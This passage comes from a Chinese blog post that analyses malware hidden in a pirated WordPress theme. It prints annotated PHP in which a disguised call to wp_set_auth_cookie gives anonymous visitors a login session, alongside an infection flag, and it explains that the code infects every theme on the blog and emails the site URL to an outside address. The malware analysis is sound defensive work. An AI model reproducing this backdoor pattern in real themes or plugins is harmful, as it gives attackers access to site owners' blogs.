$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
//把感染标记置为1
update_option("_is_widget_active_", 1);
if("all" != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? "..." : "";
//$filter 为 none ...,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= " <" . $tag . " class=\"more-link\">\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . " . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\">\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . " . $tag . ">" . "\n";
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action("init", "_getprepare_widget");

//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before="

", $after="

", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " \"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . " " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

最后，总结一下。
这个恶意代码，在每次有人访问你的博客页面时会检测是否当前博客下面的所有主题都已经被感染，如果没有，则一并感染之。
完了之后，在wp的初始化动作init执行时，它会检查当前博客是否已经发送邮件到livethemas@gmail.com　这个邮箱（它怎么知道自己发送了没有呢？在你的wp_options表中保存了一个名字为_is_widget_active_ 的选项，如果已经发送成功，则把它的值设置为1　），如果没有，则以当前被感染博客的主页URL为标题和内容，向　livethemas@gmail.com　这个邮箱发送邮件。
就是这样，其它的坏事它没有干。
你说这个人他蛋疼不？浪费我时间，害得我还来分析它。。。。

最后，提醒下大家，最好不要去下载那些破xx解oo的主题，搞不好里面就含有比这个更具破坏力的代码。（此代码据说是从某收费主题的free或者破xx解oo版中发现的）

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5265

随机日志

2010年06月16日 // diskgenius,你强大得让我泪流满面 (6)
2010年07月28日 // jQuery标题提示修正版 (12)
2010年04月27日 // 图片也一并通吃——添加wp短代码支持多种媒体文件的播放【增强版】 (22)
2009年04月17日 // 想要精通PHP吗？先学好Linux/Unix和C吧 (0)
2010年06月4日 // 用yuicompressor来压缩你的js、css代码 (11)
2008年12月25日 // Top 1000 SQL Performance Tips (0)

Hacklog » PHP

gravatar头像缓存插件——Hacklog Gravatar Cache 2.2 正式版发布

插件特点

让头像使用独立域名(cookie-free domain)的方法

插件下载

喜欢这篇文章吗?

随机日志

玩转WordPress之配置篇——9条实用配置技巧

1.版本与语言

2.用多大内存，你说了算

3.博客出问题了？调试一下吧

4.自动保存相关

5.用的Unix/Linux/BSD主机？用UNIX Socket连接mysql数据库吧

6.更新插件或主题时出现“要执行请求的操作，WordPress 需要访问您网页服务器的权限。 请输入您的 FTP 登录XXXX的解决方法”

7.想要cookie-free domain的图片URL ？这个也很简单

8.想把WP放在某个子目录下面？

9.嫌默认的wp-login.php这个登录URL太麻烦？你可以修改它

喜欢这篇文章吗?

随机日志

两个Mac风格主题推荐

i3Theme

i2Theme

喜欢这篇文章吗?

随机日志

WP调试插件三款

喜欢这篇文章吗?

随机日志

两个仿WP官网的主题

喜欢这篇文章吗?

随机日志

W3 Total Cache让你的WordPress博客飞起来！

喜欢这篇文章吗?

相关日志

重新回到VPS上~~更新wp到3.3.1

后台直接一鍵升级了

升级后的工作

替换蛋疼的仪表盘语言文件

以前修改的文件重新修改

喜欢这篇文章吗?

随机日志

最近文章title属性去除HTML标签

喜欢这篇文章吗?

随机日志

Super useful WordPress hacks and snippets

1.免插件实现日志浏览数记录

2.在contributors的日志发布后自动发邮件给他们

3.用短代码实现外链网站的快照显示

4.列出网络中的博客（适用于WP MU模式）

5.给有缩略图（thumbnail）的日志内容div添加一个css类选择器

喜欢这篇文章吗?

随机日志

一段WordPress主题恶意代码分析（貌似很多人中招了）

喜欢这篇文章吗?

随机日志

6.更新插件或主题时出现“要执行请求的操作，WordPress 需要访问您网页服务器的权限。请输入您的 FTP 登录XXXX的解决方法”